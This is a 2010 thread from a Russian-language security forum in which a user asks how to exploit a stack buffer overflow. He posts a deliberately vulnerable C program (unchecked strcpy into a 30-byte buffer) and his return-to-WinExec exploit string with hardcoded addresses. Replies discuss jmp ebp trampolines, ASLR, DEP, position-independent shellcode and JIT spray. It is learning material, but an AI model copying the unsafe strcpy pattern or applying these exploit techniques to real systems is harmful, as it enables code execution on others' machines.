ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Buffer Overflow на примере
  #1  
Старый 28.04.2010, 21:53
kRa$I-I
Познающий
Регистрация: 23.01.2009
Сообщений: 32
Провел на форуме:
96906

Репутация: 8
По умолчанию Buffer Overflow на примере

Добрый вечер!
Помогите разобраться с переполнением буфера. Я много статей находил на разных форумах, но остались некоторые вопросы.
Есть следующий кусок кода:
Код:
#include <stdio.h>
#include <windows.h> 

int main(int argc, char* argv[])
{

char buf[30]; // Переполняемый буфер  
strcpy(buf,argv[1]);
printf("argv = %s\n\n", buf); 

return 0; 

}
Написал следующий exploit:
Код:
#include <stdio.h>
#include <windows.h>

int main()
{
// 0x6FFAB16F  //----->WinExec(); 0x77E6E695    0x775FE695
// 0x6FF636AA  //----->exit();    0x6E37B9D0     0x77BC64F4   
// 0x770F03B0  //----->cmd.exe    0x7762F814


char exec[1000]="vuln1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAFFFF\x95\xE6\x5F\x77\xF4\x64\xBC\x77\x14\xF8\x62\x77";

system(exec);

return 0;
}
Идея была проста затереть адрес возврата адресом WinExec. Дизассемблировав Kernel32 нашел базовый адрес этой ф-ии (1 в комменте), а вот олька показала что при загрузки dll в память адреса слегка отличаются, ну да черт с ними. Эксплоит заработал, но до ближайшей перезагрузки, потом адреса опять сменились.


Вопрос какие техники передачи управления на свой код существуют и актуальны (желательно на примере)?

ВСЕМ ЗАРЕНЕЕ ОГРОМНОЕ СПАСИБО

Последний раз редактировалось kRa$I-I; 28.04.2010 в 23:53..
 
Ответить с цитированием

  #2  
Старый 28.04.2010, 22:42
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

почти все сплоиты делают адрес возрата на статический адрес (которые всегда есть в коде и он одинаковый) на инструкцию jmp ebp
вернее такой инструкции не найдешь в коде, а нужно искать по опкоду их.
дело в том, что ebp какраз и будет часто указывать на код который в буфере
 
Ответить с цитированием

  #3  
Старый 28.04.2010, 22:52
DrakonHaSh
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме:
264305

Репутация: 30
Отправить сообщение для DrakonHaSh с помощью ICQ
По умолчанию

Цитата:
Сообщение от kRa$I-I  
Эксплоит заработал, но до ближайшей перезагрузки, потом адреса опять сменились.
у тебя vista или 7-ка значит - в них введен спецовый механизм для этих дел.

а ebp это стэк - в нем стараются размещать базонезависимый код, который сам все, что надо и где надо найдет, если надо
 
Ответить с цитированием

  #4  
Старый 28.04.2010, 23:20
kRa$I-I
Познающий
Регистрация: 23.01.2009
Сообщений: 32
Провел на форуме:
96906

Репутация: 8
По умолчанию

Цитата:
Сообщение от DrakonHaSh  
а ebp это стэк - в нем стараются размещать базонезависимый код, который сам все, что надо и где надо найдет, если надо
Вот этого высказывания, я как ни пытался, понять не смог

to slesh Я примерно так и думал...но как найти адрес инструкции jmp, если код постоянно загружается в адресное пространство по разным адресам....Да и черт с ним нашел я jmp попал на свой код в буфере, DEP не даст его выполнить...
 
Ответить с цитированием

  #5  
Старый 28.04.2010, 23:39
DrakonHaSh
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме:
264305

Репутация: 30
Отправить сообщение для DrakonHaSh с помощью ICQ
По умолчанию

сходи на форум wasm.ru или на rootkit.com - они там этими темами занимаются.
высказывание мое туманно, да смысл его в том, что зная определенные фичи можно используя базонезависимый [т.е. неважно по какому адресу он окажется загружен - он будет рабочим] код раскурить стек и найти адрес kernel32.dll в памяти, дальше по структуре PE файла найти любую экспортируемую им функцию (хватает LoadLibrary и GetProcAddress). еще можно искать функции по сигнатурам. кароче тема эта очень обширна, иди на wasm
 
Ответить с цитированием

  #6  
Старый 28.04.2010, 23:51
kRa$I-I
Познающий
Регистрация: 23.01.2009
Сообщений: 32
Провел на форуме:
96906

Репутация: 8
По умолчанию

to DraconHaSh wasm.ru - отличный сайт я там периодически бываю.....rootkit.com хм...я буржуйский конечно знаю, но не до такой степени(тут по русски то объяснить не могут
А чем этот сайт тебе плох....и раздел вроде подходящий или здесь только спамеры ВК писать умеют из готовых net классов???

Зная определенные фичи можно править миром)))
Сам посуди ты можешь изменить один адрес - один адрес возврата, а ты там накрутил на целый эвристический анализатор, поиск по базе адресов и тд)))

КОНСТРУКТИВНЕЙ ПОЖАЛУЙСТА ВОДЫ Я УЖЕ МНОГО В ИНЕТЕ ПРОЧИТАЛ
 
Ответить с цитированием

  #7  
Старый 29.04.2010, 00:08
DrakonHaSh
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме:
264305

Репутация: 30
Отправить сообщение для DrakonHaSh с помощью ICQ
По умолчанию

ну ты тормоз : )))) удачи тебе в искусстве поисков неводы и, главное, отличения ее от воды
 
Ответить с цитированием

  #8  
Старый 29.04.2010, 09:29
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

DEP он и в африке DEP - есть он включен то пздц )
Тут тока если юзать JIT Spray шелкоды (но это в основном тока в браузерах и тому подобном софте)

Найти jmp ebp - легко. DLL гурзятся всегда в разное место памяти, а вот EXE файл всегда по фиксированному адресу указанному в PE заголовке. По этому эта инструкция должна искаться внутри образа проги.
 
Ответить с цитированием

  #9  
Старый 29.04.2010, 14:08
kRa$I-I
Познающий
Регистрация: 23.01.2009
Сообщений: 32
Провел на форуме:
96906

Репутация: 8
По умолчанию

Спасибо slesh, будем искать...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
buffer overflow aka PSIH Windows 8 28.04.2009 23:17
Метасплоит Framework v. 3.0 (описание) -=lebed=- Статьи 10 24.02.2007 02:05
Microsoft Visual C++ 6.0 SP6 resource compiler buffer overflow _Great_ Реверсинг 0 25.01.2007 11:30
NVidia Binary Graphics Driver For Linux Buffer Overflow Exploit Goudini Защита ОС: вирусы, антивирусы, файрволы. 0 18.10.2006 14:13
Microsoft Internet Explorer MHTML URI Buffer Overflow Vulnerability NeMiNeM Forum for discussion of ANTICHAT 1 08.06.2006 17:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ